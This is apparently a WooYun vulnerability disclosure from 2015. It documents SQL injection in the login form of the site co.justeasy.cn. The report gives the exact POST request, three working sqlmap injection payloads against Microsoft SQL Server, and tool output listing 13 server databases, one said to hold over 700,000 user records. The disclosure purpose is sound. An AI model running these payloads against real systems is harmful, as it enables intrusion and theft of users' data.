当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128368

漏洞标题:建E室内设计网二 SQL注入(13库 再现七十多万用户信息)

相关厂商:建E室内设计网

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-07-22 23:02

修复时间:2015-09-10 08:22

公开时间:2015-09-10 08:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-22: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

花舞花落泪,花哭花瓣飞。
花开为谁谢,花谢为谁悲。
蝴蝶为花醉,花却随风飞。
花凋花谢花无悔,人来人散人迷惘。
花榭花飞飞满天,红绡香断有谁怜?
花开花落花无常,曲终曲散曲双亡.

详细说明:

POST数据包:

POST /adminpass.asp HTTP/1.1
Host: co.justeasy.cn
Content-Length: 75
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://co.justeasy.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.2466.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://co.justeasy.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDACRBTSDA=FCPBLBJDJJPHEGPEELKJIEAP
admin=admin&password=admin&VerifyCode=3631&image.x=0&image.y=0


参数 admin 可注入

0.png


1.png


根据 http://www.wooyun.org/bugs/wooyun-2015-0128333 可看出数据库为 justeasy$002 里面有七十多万的数据 跑起来有点慢 这里就没跑了

2.png


漏洞证明:

POST parameter 'admin' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection points with a total of 352 HTTP(s) req
uests:
---
Parameter: admin (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: admin=admin' AND 9560=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(
122)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (9560=9560) THEN CHAR(49) ELSE CHAR(
48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(106)+CHAR(113))) AND 'wSEM'='wSEM&pa
ssword=admin&VerifyCode=3631&image.x=0&image.y=0
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: admin=admin';WAITFOR DELAY '0:0:5'--&password=admin&VerifyCode=3631
&image.x=0&image.y=0
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: admin=admin' WAITFOR DELAY '0:0:5'--&password=admin&VerifyCode=3631
&image.x=0&image.y=0
---
[14:33:56] [INFO] testing Microsoft SQL Server
[14:33:57] [INFO] confirming Microsoft SQL Server
[14:33:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
[14:33:57] [INFO] fetching database names
[14:33:57] [INFO] the SQL query used returns 13 entries
[14:33:57] [INFO] starting 10 threads
[14:33:58] [INFO] retrieved: msdb
[14:33:58] [INFO] retrieved: master
[14:33:58] [INFO] retrieved: model
[14:33:58] [INFO] retrieved: justeasy$002
[14:33:58] [INFO] retrieved: encrypt
[14:33:58] [INFO] retrieved: justeasynews
[14:33:58] [INFO] retrieved: justeasylist2010
[14:33:58] [INFO] retrieved: materials_board
[14:33:59] [INFO] retrieved: ReportServer
[14:33:59] [INFO] retrieved: justeasy$001
[14:33:59] [INFO] retrieved: ReportServerTempDB
[14:33:59] [INFO] retrieved: sheyitong
[14:34:00] [INFO] retrieved: tempdb
available databases [13]:
[*] encrypt
[*] justeasy$001
[*] justeasy$002
[*] justeasylist2010
[*] justeasynews
[*] master
[*] materials_board
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] sheyitong
[*] tempdb
[14:34:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 116 times
[14:34:00] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\co.justeasy.cn'
[*] shutting down at 14:34:00

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-07-27 08:20

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无